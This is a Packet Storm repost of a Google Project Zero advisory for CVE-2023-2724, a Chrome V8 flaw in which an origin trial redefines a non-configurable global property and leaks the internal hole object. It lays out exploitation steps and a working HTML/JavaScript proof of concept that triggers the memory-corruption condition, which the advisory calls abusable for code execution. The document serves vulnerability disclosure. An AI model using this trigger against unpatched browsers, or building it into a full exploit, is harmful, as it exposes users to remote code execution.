what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Chrome Internal JavaScript Object Access Via Origin Trials

Chrome Internal JavaScript Object Access Via Origin Trials
Posted Jun 27, 2023
Authored by Google Security Research, Glazvunov

Chrome suffers from an internal javascript object access vulnerability. suffers from a code execution vulnerability.

tags | exploit, javascript, code execution
advisories | CVE-2023-2724
SHA-256 | ffd1bc4c7c03a984e8cd76542fd8b6610321410abd4663e7c81762fe8f30c5ae

Chrome Internal JavaScript Object Access Via Origin Trials

Change Mirror Download
Chrome: Internal JavaScript object access via Origin Trials

VULNERABILITY DETAILS
1. `JSObject::DefineAccessor` doesn't ensure that the receiver object is in a valid state before creating an accessor property. This allows callers to extend non-extensible objects and reconfigure non-configurable properties.
2. The function is reachable from `IDLMemberInstaller::InstallAttributes`:
```
IDLMemberInstaller::InstallAttributes ->
InstallAttribute ->
Object::SetAccessorProperty ->
JSObject::DefineAccessor
```
3. When an origin trial is activated through a `meta` tag, `InstallAttributes` might be called on a JS object that has already been modified by the user code.
4. Some origin trials install attributes directly on the global object.

To exploit the issue:

1. Add a non-configurable property to the global object.
2. Compile a JS function that accesses the property. The compilation dependency in [1] will be skipped.
3. Enable an origin trial that redefines the property as configurable.
4. Delete the property.

After that, the compiled function will reference an invalid property cell and leak the internal hole object. This is a known vulnerable condition that can be abused to execute arbitrary code.

[1] https://source.chromium.org/chromium/chromium/src/+/refs/heads/main:v8/src/compiler/js-native-context-specialization.cc;drc=837cc12de25a288edf3ac222f7265c9936e69552;l=1164


VERSION
Google Chrome 112.0.5615.49 (Official Build) (arm64)
Chromium 114.0.5713.0 (Developer Build) (64-bit)


REPRODUCTION CASE
```
<body>
<script>
var container = [{}];
function trigger() { container[0] = documentPictureInPicture; }

Reflect.defineProperty(
globalThis,
'documentPictureInPicture',
{ configurable: false, writable: true, value: {} });
documentPictureInPicture = {}; // Now `documentPictureInPicture` is a non-configurable mutable slot.
for (let i = 0; i < 50000; i++) trigger();

// The \"Document Picture-in-Picture\" origin trial force-sets the `documentPictureInPicture` property
// on the global object.
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content =
'AstD02iOsmKKlxPbuURr1i4CKzX6AhBpjqxCMNIinwFqsdNThmojsMI8B7m8GGlR/DNu9i6t4eqEfHvhuvSxHgQAAABe' +
'eyJvcmlnaW4iOiJodHRwOi8vbG9jYWxob3N0OjgwMDAiLCJmZWF0dXJlIjoiRG9jdW1lbnRQaWN0dXJlSW5QaWN0dXJl' +
'QVBJIiwiZXhwaXJ5IjoxNjk0MTMxMTk5fQ==';
document.head.appendChild(meta);

delete documentPictureInPicture;
trigger();
container[0].prop; // Trying to access a property of the hole object should cause to a crash.
</script>
</body>
```


CREDIT INFORMATION
Sergei Glazunov of Google Project Zero


This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2023-07-13.


Related CVE Numbers: CVE-2023-2724.



Found by: glazunov@google.com

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    31 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close